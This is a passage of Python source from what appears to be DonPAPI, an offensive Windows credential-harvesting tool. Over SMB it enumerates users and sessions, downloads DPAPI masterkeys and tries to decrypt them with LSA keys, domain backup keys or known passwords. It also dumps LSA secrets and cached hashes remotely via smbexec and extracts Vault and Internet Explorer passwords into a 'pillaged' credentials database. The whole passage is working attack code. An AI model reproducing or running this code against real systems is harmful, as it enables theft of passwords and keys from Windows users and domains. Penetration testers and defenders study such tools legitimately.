localfile = secret_file['path']
data = secret_file['data']
if blob_type == 'vault' or blob_type == 'vcrd':
try:
vault_name = secret_file['vault_name'] # args[0]
vault_type = secret_file['vault_type'] # args[1]
self.logging.debug(f"Processing Vault {vault_name} - type : {vault_type} ")
if vault_type == 'WinBio Key':
data = self.dump_VAULT_WIN_BIO_KEY(user, localfile, data)
self.logsecret(f"Vault {vault_name} : {data} ")
elif vault_type == 'NGC Local Account Logon Vault Credential':
data = self.dump_VAULT_NGC_LOCAL_ACCOOUNT(user, localfile, data)
self.logsecret(f"Vault {vault_name} : {data} ")
elif "NGC" in vault_type:
data = self.dump_VAULT_NGC_ACCOOUNT(user, localfile, data)
self.logsecret(f"Vault {vault_name} : {data} ")
elif vault_type == 'Internet Explorer':
data = self.dump_VAULT_INTERNET_EXPLORER(user, localfile, data)
# user.secrets["Vault:%s" % vault_name] = data
secret_file['secret'] = data
self.dump_to_file(localfile, data)
except Exception as ex:
self.logging.debug(
f"[{self.options.target_ip}] {bcolors.WARNING}Except 1 process_decrypted_data Vault for {localfile} {bcolors.ENDC}")
self.logging.debug(ex)
except Exception as ex:
self.logging.debug(
f"[{self.options.target_ip}] {bcolors.WARNING}Except 2 process_decrypted_data ALL for {localfile} {bcolors.ENDC}")
self.logging.debug(ex)
def dump_VAULT_INTERNET_EXPLORER(self, user, localfile, vault_blob):
try:
self.logging.debug("Formating VAULT_INTERNET_EXPLORER info")
retval = "[Internet Explorer]\n"
retval += f"Username : {vault_blob['Username'].decode('utf-16le')} \n"
retval += f"Resource : {vault_blob['Resource'].decode('utf-16le')} \n"
retval += f"Password : {vault_blob['Password'].decode('utf-16le')} : {hexlify(vault_blob['Password'])} \n"
############PROCESSING DATA
self.db.add_credz(credz_type='browser-internet_explorer',
credz_username=f"{vault_blob['Username'].decode('utf-16le')}",
credz_password=f"{vault_blob['Password'].decode('utf-16le')}",
credz_target=f"{vault_blob['Resource'].decode('utf-16le')}",
credz_path=localfile,
pillaged_from_computer_ip=self.options.target_ip,
pillaged_from_username=user.username)
self.logging.info(
f"[{self.options.target_ip}] [+]{bcolors.OKGREEN} [Internet Explorer] {bcolors.ENDC} for {vault_blob['Resource'].decode('utf-16le')} [ {bcolors.OKBLUE}{vault_blob['Username'].decode('utf-16le')} : {vault_blob['Password'].decode('utf-16le')}{bcolors.ENDC} ]")
return retval
except Exception as ex:
self.logging.debug(
f"[{self.options.target_ip}] {bcolors.WARNING}Exception dump_VAULT_INTERNET_EXPLORER{bcolors.ENDC}")
self.logging.debug(ex)
def dump_VAULT_WIN_BIO_KEY(self, user, localfile, vault_blob):
try:
self.logging.debug("Dumping VAULT_WIN_BIO_KEY info to file")
retval = "\n[WINDOWS BIOMETRIC KEY]\n"
retval += 'Sid : %s\n' % RPC_SID(b'\x05\x00\x00\x00' + vault_blob['Sid']).formatCanonical()
retval += f"Friendly Name: {vault_blob['Name'].decode('utf-16le')}\n"
retval += f"Biometric Key: 0x{hexlify(vault_blob['BioKey']['bKey']).decode('latin-1')}\n"
return retval
except Exception as ex:
self.logging.debug(
f"[{self.options.target_ip}] {bcolors.WARNING}Exception dump_VAULT_WIN_BIO_KEY {bcolors.ENDC}")
self.logging.debug(ex)
def dump_VAULT_NGC_LOCAL_ACCOOUNT(self, user, localfile, vault_blob):
try:
self.logging.debug("Dumping NGC_LOCAL_ACCOOUNT info to file")
retval = "\n[NGC LOCAL ACCOOUNT]\n"
retval += 'UnlockKey : %s\n' % hexlify(vault_blob["UnlockKey"])
retval += 'IV : %s\n' % hexlify(vault_blob["IV"])
retval += 'CipherText : %s\n' % hexlify(vault_blob["CipherText"])
return retval
except Exception as ex:
self.logging.debug(
f"[{self.options.target_ip}] {bcolors.WARNING}Exception dump_NGC_LOCAL_ACCOOUNT {bcolors.ENDC}")
self.logging.debug(ex)
def dump_VAULT_NGC_ACCOOUNT(self, user, localfile, vault_blob):
try:
self.logging.debug("Dumping VAULT_NGC_ACCOOUNT info to file")
retval = "\n[NGC VAULT]\n"
retval += 'Sid : %s\n' % RPC_SID(b'\x05\x00\x00\x00' + vault_blob['Sid']).formatCanonical()
retval += 'Friendly Name: %s\n' % vault_blob['Name'].decode('utf-16le')
# A completer ?
vault_blob['Blob'].dump()
return retval
except Exception as ex:
self.logging.debug(
f"[{self.options.target_ip}] {bcolors.WARNING}Exception dump_VAULT_NGC_ACCOOUNT{bcolors.ENDC}")
self.logging.debug(ex)
def do_who(self):
# if self.loggedIn is False:
# self.logging.error("Not logged in")
# return
rpctransport = transport.SMBTransport(self.smb.getRemoteHost(), filename=r'\srvsvc',
smb_connection=self.smb)
dce = rpctransport.get_dce_rpc()
dce.connect()
dce.bind(srvs.MSRPC_UUID_SRVS)
resp = srvs.hNetrSessionEnum(dce, NULL, NULL, 10)
for session in resp['InfoStruct']['SessionInfo']['Level10']['Buffer']:
self.logging.info("host: %15s, user: %5s, active: %5d, idle: %5d" % (
session['sesi10_cname'][:-1], session['sesi10_username'][:-1], session['sesi10_time'],
session['sesi10_idle_time']))
self.db.add_connected_user(username=session['sesi10_username'][:-1], ip=session['sesi10_cname'][:-1])
def get_users(self):
self.logging.debug("Listing Users by enumerating directories in $Share\\Users")
blacklist = ['.', '..', 'desktop.ini']
shares = self.myfileops.get_shares()
# Intégrer les users share du premier test
if 'C$' in shares: # Most likely
self.myfileops.do_use('C$')
# self.myfileops.pwd = 'Users'
completion = self.myfileops.do_ls('Users', '*', display=False)
for infos in completion:
longname, is_directory = infos
if is_directory and longname not in blacklist:
for user in self.users:
if longname == user.username:
break
else:
self.users.append(MyUser(longname, self.logging, self.options))
self.logging.info(
f"[{self.options.target_ip}] [+] Found user {bcolors.OKBLUE}{longname}{bcolors.ENDC}")
user = self.GetUserByName(longname)
self.db.add_user(username=user.username, pillaged_from_computer_ip=self.options.target_ip)
user.share = 'C$'
else:
for share in shares:
self.myfileops.do_use(share)
# self.pwd = 'Users'
completion = self.myfileops.do_ls('Users', '*', display=False)
for infos in completion:
longname, is_directory = infos
if is_directory and longname not in blacklist:
for user in self.users:
if longname == user['username']:
break
else:
self.users.append(MyUser(longname, self.logging, self.options))
self.logging.debug(
f"[{self.options.target_ip}] Found user {bcolors.OKBLUE}{longname}{bcolors.ENDC}")
user = self.GetUserByName(longname)
self.db.add_user(username=user.username, pillaged_from_computer_ip=self.options.target_ip)
user.share = share
# +ADD LOCAL MACHINE ACCOUNT
user = MyUser("MACHINE$", self.logging, self.options)
user.type = 'MACHINE'
user.share = 'C$'
self.users.append(user)
self.db.add_user(username=user.username, pillaged_from_computer_ip=self.options.target_ip)
return self.users
def get_masterkeys(self):
self.logging.debug(
f"[{self.options.target_ip}] {bcolors.OKBLUE}[+] Gathering masterkeys on the target{bcolors.ENDC}")
blacklist = ['.', '..']
# self.get_shares()
# self.get_users()
for user in self.users:
if user.username != 'MACHINE$':
try:
tmp_pwd = ntpath.join(ntpath.join('Users', user.username), 'AppData\\Roaming\\Microsoft\\Protect')
self.logging.debug(
f"[{self.options.target_ip}] Looking for {bcolors.OKBLUE}{user.username}{bcolors.ENDC} Masterkey in %s" % tmp_pwd)
my_directory = self.myfileops.do_ls(tmp_pwd, '', display=True)
for infos in my_directory:
try:
longname, is_directory = infos
if longname not in blacklist:
self.logging.debug(f"[{self.options.target_ip}] Analysing {longname} for Masterkeys")
if is_directory and longname[:2] == 'S-': # SID
self.logging.debug(
f"[{self.options.target_ip}] {bcolors.OKBLUE}{user.username}{bcolors.ENDC} - Found SID {longname}")
user.sid = longname
if user.sid.startswith('S-1-5-80'):
self.logging.debug(
f"[{self.options.target_ip}] {bcolors.FAIL}{user.username}{bcolors.ENDC} - Found AD CONNECT SID {longname}")
user.is_adconnect = True
# user.check_usertype()
tmp_pwd2 = ntpath.join(tmp_pwd, longname)
my_directory2 = self.myfileops.do_ls(tmp_pwd2, '', display=False)
for infos2 in my_directory2:
longname2, is_directory2 = infos2
if not is_directory2 and is_guid(longname2): # GUID
self.download_masterkey(user, tmp_pwd2, longname2, type='USER')
elif is_directory:
self.logging.debug(
f"[{self.options.target_ip}] Found Directory %s -> doing nothing" % longname)
else:
self.logging.debug(f"[{self.options.target_ip}] Found file %s" % longname)
if "CREDHIST" in longname:
self.download_credhist(user, tmp_pwd, longname, type='USER')
except Exception as ex:
self.logging.debug(
f"[{self.options.target_ip}] {bcolors.WARNING}Exception in get_masterkeys for {longname}{bcolors.ENDC}")
self.logging.debug(ex)
continue
except Exception as ex:
self.logging.debug(
f"[{self.options.target_ip}] {bcolors.WARNING}Exception get_masterkeys{bcolors.ENDC}")
self.logging.debug(ex)
continue
##MACHINE MASTERKEYS
try:
user = self.GetUserByName('MACHINE$')
# Make a "MACHINE$" user
"""user=MyUser("MACHINE$",self.logging,self.options)
user.type='MACHINE'
self.users.append(user)"""
tmp_pwd = 'Windows\\System32\\Microsoft\\Protect' # Add Windows\ServiceProfiles\ADSync\AppData\Roaming\Microsoft\Protect\ for ADConnect ?
self.logging.debug(f"[{self.options.target_ip}] Looking for Machine Masterkey in %s" % tmp_pwd)
my_directory = self.myfileops.do_ls(tmp_pwd, '', display=False)
for infos in my_directory:
longname, is_directory = infos
if longname not in blacklist:
if is_directory and longname[:2] == 'S-': # SID
self.logging.debug(
f"[{self.options.target_ip}] {bcolors.OKBLUE}{user.username}{bcolors.ENDC} - Found SID {longname}")
user.sid = longname
if user.sid.startswith('S-1-5-80'):
self.logging.debug(
f"[{self.options.target_ip}] {bcolors.FAIL}{user.username}{bcolors.ENDC} - Found AD CONNECT SID {longname}")
user.is_adconnect = True
tmp_pwd2 = ntpath.join(tmp_pwd, longname)
my_directory2 = self.myfileops.do_ls(tmp_pwd2, '', display=False)
for infos2 in my_directory2:
longname2, is_directory2 = infos2
if longname2 not in blacklist:
if not is_directory2 and is_guid(longname2): # GUID
# Downloading file
self.download_masterkey(user, tmp_pwd2, longname2, type='MACHINE')
elif is_directory2 and longname2 == 'User': # On se limite a ca pour le moment
tmp_pwd3 = ntpath.join(tmp_pwd2, longname2)
my_directory3 = self.myfileops.do_ls(tmp_pwd3, '', display=False)
for infos3 in my_directory3:
longname3, is_directory3 = infos3
if longname3 not in blacklist:
if not is_directory3 and is_guid(longname3): # GUID
self.logging.debug(
f"[{self.options.target_ip}] {user.username} - Found GUID {longname3}")
# Downloading file
self.download_masterkey(user, tmp_pwd3, longname3, type='MACHINE-USER')
else:
self.logging.debug(
"Found unexpected file/directory %s in %s" % (tmp_pwd3, longname3))
else:
self.logging.debug(
"Found unexpected file/directory %s in %s" % (tmp_pwd2, longname2))
elif is_directory:
self.logging.debug("Found (not SID) Directory %s" % longname)
else:
self.logging.debug("Found file %s" % longname)
if "CREDHIST" in longname:
self.download_credhist(user, tmp_pwd, longname, type='MACHINE')
except Exception as ex:
self.logging.error(
f"[{self.options.target_ip}] {bcolors.FAIL}Error in GetMasterkey (Machine){bcolors.ENDC}")
self.logging.debug(ex)
self.logging.debug(
f"[{self.options.target_ip}] {bcolors.OKBLUE}[-] Gathered Masterkeys for {len(self.users)} users{bcolors.ENDC}")
def download_credhist(self, user, tmp_pwd, longname, type='MACHINE'):
# Downloading file
try:
self.logging.debug(
f"[{self.options.target_ip}] [...] Downloading CREDHIST {user.username} {tmp_pwd} {longname}")
# from DonPAPI.lib.dpapi_pick.credhist import CredHistFile
# localfile = self.myfileops.get_file(ntpath.join(tmp_pwd, longname))
'''f=open(localfile,'rb')
credhistdata = f.read()
f.close()
myCredhistfile = CredHistFile(raw=credhistdata)
print(repr(myCredhistfile))
#myCredhistfile = CredHistFile(raw=credhistdata)
for username in self.options.credz:
if username in user.username: # pour fonctionner aussi avec le .domain ou les sessions multiple citrix en user.domain.001 ?
self.logging.debug(f"[{self.options.target_ip}] [...] Testing {len(self.options.credz[username])} credz for user {user.username} CREDHIST")
for password in self.options.credz[username]:
ret=myCredhistfile.decryptWithPassword(password)
print(ret)
'''
except Exception as ex:
self.logging.error(f"[{self.options.target_ip}] {bcolors.FAIL}Error in Decrypting Credhist{bcolors.ENDC}")
self.logging.debug(ex)
def download_masterkey(self, user, path, guid, type):
guid = guid.lower()
if is_guid(guid):
self.logging.debug(f"[{self.options.target_ip}] {user.username} - Found GUID {guid}")
# Downloading file
localfile = self.myfileops.get_file(ntpath.join(path, guid))
# Get Type and hash
try:
myoptions = copy.deepcopy(self.options)
myoptions.sid = user.sid
myoptions.username = user.username
myoptions.pvk = None
myoptions.file = localfile # Masterkeyfile to parse
# myoptions.key = key.decode("utf-8")
mydpapi = DPAPI(myoptions, self.logging)
if self.options.GetHashes == True:
masterkey_hash, is_domain_sid = mydpapi.get_masterkey_hash(generate_hash=True)
else:
masterkey_hash, is_domain_sid = mydpapi.get_masterkey_hash(generate_hash=False)
except Exception as ex:
self.logging.error(
f"[{self.options.target_ip}] {bcolors.FAIL}Error in DownloadMasterkey - get_masterkey_hash{bcolors.ENDC}")
self.logging.debug(ex)
try:
user.masterkeys_file[guid] = {}
user.masterkeys_file[guid]['path'] = localfile
user.masterkeys_file[guid]['status'] = 'encrypted'
if self.options.GetHashes == True:
user.masterkeys_file[guid]['hash'] = masterkey_hash
if is_domain_sid and user.username != 'MACHINE$':
type = 'DOMAIN'
user.type_validated = True
user.type = type # LOCAL,DOMAIN,MACHINE,MACHINE-USER
self.db.add_sid(username=user.username, sid=user.sid)
self.db.add_masterkey(file_path=user.masterkeys_file[guid]['path'], guid=guid,
status=user.masterkeys_file[guid]['status'],
pillaged_from_computer_ip=self.options.target_ip,
pillaged_from_username=user.username)
if self.options.GetHashes == True:
for hash in user.masterkeys_file[guid]['hash']:
self.db.add_dpapi_hash(file_path=user.masterkeys_file[guid]['path'], sid=user.sid, guid=guid,
hash=hash, context=type, pillaged_from_computer_ip=self.options.target_ip)
except Exception as ex:
self.logging.error(
f"[{self.options.target_ip}] {bcolors.FAIL}Error in Database entry - download_masterkey_hash{bcolors.ENDC}")
self.logging.debug(ex)
def get_masterkey(self, user, guid, type):
guid = guid.lower()
if guid not in user.masterkeys_file:
self.logging.debug(
f"[{self.options.target_ip}] [!] {bcolors.FAIL}{user.username}{bcolors.ENDC} masterkey {guid} not found")
return -1
else:
self.logging.debug(
f"[{self.options.target_ip}] [-] {bcolors.OKBLUE}{user.username}{bcolors.ENDC} masterkey {guid} Found")
if user.masterkeys_file[guid]['status'] == 'decrypted':
self.logging.debug(
f"[{self.options.target_ip}] [-] {bcolors.OKBLUE}{user.username}{bcolors.ENDC} masterkey {guid} already decrypted")
return user.masterkeys_file[guid]
elif user.masterkeys_file[guid]['status'] == 'encrypted':
return self.decrypt_masterkey(user, guid, type, tested_type=[])
def decrypt_masterkey(self, user, guid, type='', tested_type=[]):
self.logging.debug(
f"[{self.options.target_ip}] [...] Decrypting {bcolors.OKBLUE}{user.username}{bcolors.ENDC} masterkey {guid} of type {type} (type_validated={user.type_validated}/user.type={user.type}) - tested : {tested_type}")
guid = guid.lower()
if guid not in user.masterkeys_file:
self.logging.debug(
f"[{self.options.target_ip}] [!] {bcolors.FAIL}{user.username}{bcolors.ENDC} masterkey {guid} not found")
return -1
localfile = user.masterkeys_file[guid]['path']
if user.masterkeys_file[guid]['status'] == 'decrypted':
self.logging.debug(
f"[{self.options.target_ip}] [-] {bcolors.OKBLUE}{user.username}{bcolors.ENDC} masterkey {guid} already decrypted")
return user.masterkeys_file[guid]
else:
# if user.type_validated == True:
# type=user.type
if type == '':
type = user.type
if 'MACHINE' in tested_type and 'MACHINE-USER' in tested_type and 'DOMAIN' in tested_type and 'LOCAL' in tested_type:
self.logging.debug(
f"[{self.options.target_ip}] [!] {bcolors.FAIL}{user.username}{bcolors.ENDC} masterkey {guid} : All decryption type failed")
return -1
if type == 'MACHINE':
# Try de decrypt masterkey file
for key in self.machine_key:
self.logging.debug(
f"[{self.options.target_ip}] [...] Decrypting {bcolors.OKBLUE}{user.username}{bcolors.ENDC} masterkey {guid} with MACHINE_Key from LSA {key.decode('utf-8')}")
try:
myoptions = copy.deepcopy(self.options)
myoptions.sid = None # user.sid
myoptions.username = user.username
myoptions.pvk = None
myoptions.file = localfile # Masterkeyfile to parse
myoptions.key = key.decode("utf-8")
mydpapi = DPAPI(myoptions, self.logging)
decrypted_masterkey = mydpapi.decrypt_masterkey()
if decrypted_masterkey != None and decrypted_masterkey != -1:
# self.logging.debug(f"[{self.options.target_ip}] {bcolors.OKGREEN}[...] Maserkey {bcolors.ENDC}{localfile} {bcolors.ENDC}: {decrypted_masterkey}" )
user.masterkeys_file[guid]['status'] = 'decrypted'
user.masterkeys_file[guid]['key'] = decrypted_masterkey
# user.masterkeys[localfile] = decrypted_masterkey
user.type = 'MACHINE'
user.type_validated = True
self.logging.debug(
f"[{self.options.target_ip}] {bcolors.OKBLUE}Decryption successfull {bcolors.ENDC} of Masterkey {guid} for Machine {bcolors.OKGREEN} {user.username}{bcolors.ENDC} \nKey: {decrypted_masterkey}")
self.db.update_masterkey(file_path=user.masterkeys_file[guid]['path'], guid=guid,
status=user.masterkeys_file[guid]['status'],
decrypted_with="MACHINE-KEY", decrypted_value=decrypted_masterkey,
pillaged_from_computer_ip=self.options.target_ip,
pillaged_from_username=user.username)
return user.masterkeys_file[guid]
else:
self.logging.debug(
f"[{self.options.target_ip}] {bcolors.WARNING} MACHINE-Key from LSA {key.decode('utf-8')} can't decode {bcolors.OKBLUE}{user.username}{bcolors.ENDC} Masterkey {guid}{bcolors.ENDC}")
except Exception as ex:
self.logging.debug(
f"[{self.options.target_ip}] Exception {bcolors.WARNING} MACHINE-Key from LSA {key.decode('utf-8')} can't decode {bcolors.OKBLUE}{user.username}{bcolors.ENDC} Masterkey {guid}{bcolors.ENDC}")
self.logging.debug(ex)
else:
# if user.type_validated == False:
tested_type.append('MACHINE')
self.decrypt_masterkey(user, guid, type='MACHINE-USER', tested_type=tested_type)
elif type == 'MACHINE-USER':
# Try de decrypt masterkey file
for key in self.user_key:
self.logging.debug(
f"[{self.options.target_ip}] [...] Decrypting {bcolors.OKBLUE}{user.username}{bcolors.ENDC} masterkey {guid} with MACHINE-USER_Key from LSA {key.decode('utf-8')}") # and SID %s , user.sid ))
try:
# key1, key2 = deriveKeysFromUserkey(tsid, userkey)
myoptions = copy.deepcopy(self.options)
myoptions.file = localfile # Masterkeyfile to parse
if user.is_adconnect is True:
myoptions.key = key.decode("utf-8")
myoptions.sid = user.sid
else:
myoptions.key = key.decode("utf-8") # None
myoptions.sid = None # user.sid
myoptions.username = user.username
myoptions.pvk = None
mydpapi = DPAPI(myoptions, self.logging)
decrypted_masterkey = mydpapi.decrypt_masterkey()
if decrypted_masterkey != -1 and decrypted_masterkey != None:
# self.logging.debug(f"[{self.options.target_ip}] Decryption successfull {bcolors.ENDC}: {decrypted_masterkey}")
user.masterkeys_file[guid]['status'] = 'decrypted'
user.masterkeys_file[guid]['key'] = decrypted_masterkey
# user.masterkeys[localfile] = decrypted_masterkey
user.type = 'MACHINE-USER'
user.type_validated = True
self.logging.debug(
f"[{self.options.target_ip}] {bcolors.OKBLUE}Decryption successfull {bcolors.ENDC} of Masterkey {guid} for Machine {bcolors.OKGREEN} {user.username}{bcolors.ENDC} \nKey: {decrypted_masterkey}")
self.db.update_masterkey(file_path=user.masterkeys_file[guid]['path'], guid=guid,
status=user.masterkeys_file[guid]['status'],
decrypted_with="MACHINE-USER", decrypted_value=decrypted_masterkey,
pillaged_from_computer_ip=self.options.target_ip,
pillaged_from_username=user.username)
return user.masterkeys_file[guid]
else:
self.logging.debug(
f"[{self.options.target_ip}] {bcolors.WARNING} MACHINE-USER_Key from LSA {key.decode('utf-8')} can't decode {bcolors.OKBLUE}{user.username}{bcolors.WARNING} Masterkey {guid}{bcolors.ENDC}")
except Exception as ex:
self.logging.debug(
f"[{self.options.target_ip}] Exception {bcolors.WARNING} MACHINE-USER_Key from LSA {key.decode('utf-8')} can't decode {bcolors.OKBLUE}{user.username}{bcolors.WARNING} Masterkey {guid}{bcolors.ENDC}")
self.logging.debug(ex)
else:
tested_type.append('MACHINE-USER')
if user.type_validated == False and not user.is_adconnect:
return self.decrypt_masterkey(user, guid, type='DOMAIN', tested_type=tested_type)
if 'DOMAIN' not in tested_type:
return self.decrypt_masterkey(user, guid, type='DOMAIN', tested_type=tested_type)
elif type == 'DOMAIN':
if self.options.pvk is not None:
# For ADConnect
if user.is_adconnect is True and 'MACHINE-USER' not in tested_type:
return self.decrypt_masterkey(user, guid, type='MACHINE-USER', tested_type=tested_type)
# Try de decrypt masterkey file
self.logging.debug(
f"[{self.options.target_ip}] [...] Decrypting {bcolors.OKBLUE}{user.username}{bcolors.ENDC} masterkey {guid} with Domain Backupkey {self.options.pvk}")
try:
myoptions = copy.deepcopy(self.options)
myoptions.file = localfile # Masterkeyfile to parse
myoptions.username = user.username
myoptions.sid = user.sid
mydpapi = DPAPI(myoptions, self.logging)
decrypted_masterkey = mydpapi.decrypt_masterkey()
if decrypted_masterkey != -1 and decrypted_masterkey != None:
# self.logging.debug(f"[{self.options.target_ip}] {bcolors.OKGREEN}Decryption successfull {bcolors.ENDC}: %s" % decrypted_masterkey)
user.masterkeys_file[guid]['status'] = 'decrypted'
user.masterkeys_file[guid]['key'] = decrypted_masterkey
# user.masterkeys[localfile] = decrypted_masterkey
user.type = 'DOMAIN'
user.type_validated = True
self.logging.debug(
f"[{self.options.target_ip}] {bcolors.OKBLUE}Decryption successfull {bcolors.ENDC} of Masterkey {guid} for user {bcolors.OKBLUE} {user.username}{bcolors.ENDC} \nKey: {decrypted_masterkey}")
self.db.update_masterkey(file_path=user.masterkeys_file[guid]['path'], guid=guid,
status=user.masterkeys_file[guid]['status'],
decrypted_with="DOMAIN-PVK",
decrypted_value=decrypted_masterkey,
pillaged_from_computer_ip=self.options.target_ip,
pillaged_from_username=user.username)
return user.masterkeys_file[guid]
else:
self.logging.debug(
f"[{self.options.target_ip}] {bcolors.WARNING}Domain Backupkey {self.options.pvk} can't decode {bcolors.OKBLUE}{user.username}{bcolors.WARNING} Masterkey {guid} -> Checking with Local user with credz{bcolors.ENDC}")
# if user.type_validated == False:
tested_type.append('DOMAIN')
return self.decrypt_masterkey(user, guid, 'LOCAL', tested_type=tested_type)
except Exception as ex:
self.logging.debug(
f"[{self.options.target_ip}] {bcolors.WARNING}Exception decrypting {bcolors.OKBLUE}{user.username}{bcolors.ENDC} masterkey {guid} with Domain Backupkey (most likely user is only local user) -> Running for Local user with credz{bcolors.ENDC}")
self.logging.debug(f"exception was : {ex}")
# if user.type_validated == False:
tested_type.append('DOMAIN')
return self.decrypt_masterkey(user, guid, 'LOCAL', tested_type=tested_type)
else:
tested_type.append('DOMAIN')
elif 'LOCAL' not in tested_type:
# On a des credz
if len(self.options.credz) > 0 and user.masterkeys_file[guid][
'status'] != 'decrypted': # localfile not in user.masterkeys:
self.logging.debug(
f"[{self.options.target_ip}] [...] Testing decoding {bcolors.OKBLUE}{user.username}{bcolors.ENDC} Masterkey {guid} with credz")
for username in self.options.credz:
if username.lower() in user.username.lower(): # pour fonctionner aussi avec le .domain ou les sessions multiple citrix en user.domain.001 ?
# self.logging.debug(f"[{self.options.target_ip}] [...] Testing {len(self.options.credz[username])} credz for user {user.username}")
# for test_cred in self.options.credz[user.username]:
try:
self.logging.debug(
f"[{self.options.target_ip}]Trying to decrypt {bcolors.OKBLUE}{user.username}{bcolors.ENDC} Masterkey {guid} with user SID {user.sid} and {len(self.options.credz[username])}credential(s) from credz file")
myoptions = copy.deepcopy(self.options)
myoptions.file = localfile # Masterkeyfile to parse
# myoptions.password = self.options.credz[username]
myoptions.sid = user.sid
myoptions.pvk = None
myoptions.key = None
mydpapi = DPAPI(myoptions, self.logging)
decrypted_masterkey = mydpapi.decrypt_masterkey(passwords=self.options.credz[username])
if decrypted_masterkey != -1 and decrypted_masterkey != None:
# self.logging.debug(f"[{self.options.target_ip}] {bcolors.OKGREEN}Decryption successfull {bcolors.ENDC}: {decrypted_masterkey}")
user.masterkeys_file[guid]['status'] = 'decrypted'
user.masterkeys_file[guid]['key'] = decrypted_masterkey
# user.masterkeys[localfile] = decrypted_masterkey
user.type = 'LOCAL'
user.type_validated = True
self.logging.debug(
f"[{self.options.target_ip}] {bcolors.OKBLUE}Decryption successfull {bcolors.ENDC} of Masterkey {guid} for User {bcolors.OKGREEN} {user.username}{bcolors.ENDC} \nKey: {decrypted_masterkey}")
self.db.update_masterkey(file_path=user.masterkeys_file[guid]['path'], guid=guid,
status=user.masterkeys_file[guid]['status'],
decrypted_with=f"Password:{self.options.credz[username]}",
decrypted_value=decrypted_masterkey,
pillaged_from_computer_ip=self.options.target_ip,
pillaged_from_username=user.username)
return user.masterkeys_file[guid]
else:
self.logging.debug(
f"[{self.options.target_ip}] error decrypting {bcolors.OKBLUE}{user.username}{bcolors.ENDC} masterkey {guid} with {len(self.options.credz[username])} passwords from user {username} in cred list")
except Exception as ex:
self.logging.debug(
f"[{self.options.target_ip}] Except decrypting {bcolors.OKBLUE}{user.username}{bcolors.ENDC} masterkey with {len(self.options.credz[username])} passwords from user {username} in cred list")
self.logging.debug(ex)
else:
self.logging.debug(
f"[{self.options.target_ip}] {bcolors.FAIL}no credential in credz file for user {user.username} and masterkey {guid} {bcolors.ENDC}")
tested_type.append('LOCAL')
if user.masterkeys_file[guid]['status'] == 'encrypted':
if 'DOMAIN' not in tested_type:
return self.decrypt_masterkey(user, guid, 'DOMAIN', tested_type=tested_type)
elif 'MACHINE' not in tested_type:
return self.decrypt_masterkey(user, guid, 'MACHINE', tested_type=tested_type)
elif 'MACHINE-USER' not in tested_type:
return self.decrypt_masterkey(user, guid, 'MACHINE-USER', tested_type=tested_type)
# on a pas su le dechiffrer, mais on conseve la masterkey
'''if localfile not in user.masterkeys:
user.masterkeys[localfile] = None'''
if user.masterkeys_file[guid]['status'] == 'encrypted':
user.masterkeys_file[guid]['status'] = 'decryption_failed'
self.db.update_masterkey(file_path=user.masterkeys_file[guid]['path'], guid=guid,
status=user.masterkeys_file[guid]['status'], decrypted_with='',
decrypted_value='',
pillaged_from_computer_ip=self.options.target_ip,
pillaged_from_username=user.username)
return -1
elif user.masterkeys_file[guid]['status'] == 'decrypted': # Should'nt go here
return user.masterkeys_file[guid]
def test_remoteOps(self):
filedest = os.path.join(self.options.output_directory, self.options.target_ip)
try:
# Remove logging
# logging.getLogger().setLevel(logging.CRITICAL)
self.logging.info(f"[{self.options.target_ip}]{bcolors.OKBLUE} [+] Dumping LSA Secrets{bcolors.ENDC}")
self.__remoteOps = MyRemoteOperations(self.smb, self.options.k, self.options.dc_ip)
self.__remoteOps.setExecMethod('smbexec')
self.__remoteOps.enableRegistry()
self.__bootKey = self.__remoteOps.getBootKey()
self.logging.debug(f"bootkey: {self.__bootKey}")
SECURITYFileName = self.__remoteOps.saveSECURITY()
SECURITYFileName._RemoteFile__fileName = ntpath.join("Windows",SECURITYFileName._RemoteFile__fileName)
self.logging.debug("savesecurity")
self.__LSASecrets = MyLSASecrets(SECURITYFileName, self.__bootKey, self.__remoteOps, isRemote=True,
history=True)
self.logging.debug("LSASecret")
self.__LSASecrets.dumpCachedHashes()
self.logging.debug("dump cached hashes")
self.__LSASecrets.dumpSecrets()
filedest_lsa = os.path.join(filedest, 'LSA')
Path(os.path.split(filedest_lsa.replace('\\', '/'))[0]).mkdir(parents=True, exist_ok=True)
self.logging.debug(f"[{self.options.target_ip}] Dumping LSA Secrets to file {filedest_lsa}")
finalfile = self.__LSASecrets.exportSecrets(filedest_lsa)
self.logging.debug("ret file %s" % finalfile)
self.__LSASecrets.exportCached(filedest_lsa)
self.__LSASecrets.finish()
# Analyser les hash DCC2 pour un export massif.
except Exception as ex:
self.logging.debug(
f"[{self.options.target_ip}] Except remoteOps LSA")
self.logging.debug(ex)
try:
tmp_filedest = filedest + '.secrets'
f = open(tmp_filedest, 'rb')
secrets = f.read().split(b'\n')
f.close()
for index, secret in enumerate(secrets):
if b'dpapi_machinekey' in secret:
self.logging.info(
f"[{self.options.target_ip}] {bcolors.OKBLUE}[-] Found DPAPI Machine key{bcolors.ENDC} : {secret.split(b'dpapi_machinekey:')[1].decode('utf-8')}")
# print(secret.split(b'dpapi_machinekey:')[1])
self.machine_key.append(secret.split(b'dpapi_machinekey:')[1])
self.logging.debug(self.machine_key)
if b'dpapi_userkey' in secret:
self.logging.info(
f"[{self.options.target_ip}] {bcolors.OKBLUE}[-] Found DPAPI User key{bcolors.ENDC} : {secret.split(b'dpapi_userkey:')[1].decode('utf-8')}")
self.user_key.append(secret.split(b'dpapi_userkey:')[1])
self.logging.debug(self.user_key)
if b':' in secret:
if secret.count(b':') == 1:
username, password = secret.split(b':')
if username.decode('utf-8') not in ['dpapi_machinekey', 'dpapi_userkey', 'NL$KM']:
if username.decode('utf-8') not in self.options.credz:
self.options.credz[username.decode('utf-8')] = [password.decode('utf-8')]
self.logging.info(
f"[{self.options.target_ip}] [+] {bcolors.OKBLUE} LSA : {bcolors.OKGREEN} {username.decode('utf-8')} : {password.decode('utf-8')} {bcolors.ENDC}")
else:
if password.decode('utf-8') not in self.options.credz[username.decode('utf-8')]:
self.options.credz[username.decode('utf-8')].append(password.decode('utf-8'))
self.logging.info(
f"[{self.options.target_ip}] [+] {bcolors.OKBLUE} LSA : {bcolors.OKGREEN} {username.decode('utf-8')} : {password.decode('utf-8')} {bcolors.ENDC}")
############PROCESSING DATA
self.db.add_credz(credz_type='LSA',
credz_username=username.decode('utf-8'),
credz_password=password.decode('utf-8'),
credz_target='',
credz_path=tmp_filedest,
pillaged_from_computer_ip=self.options.target_ip,
pillaged_from_username='MACHINE$')
else:
self.logging.debug("Secret %i - %s" % (index, secret))
except Exception as ex:
self.logging.debug(
f"[{self.options.target_ip}] Except remoteOps Secrets")
self.logging.debug(ex)
try:
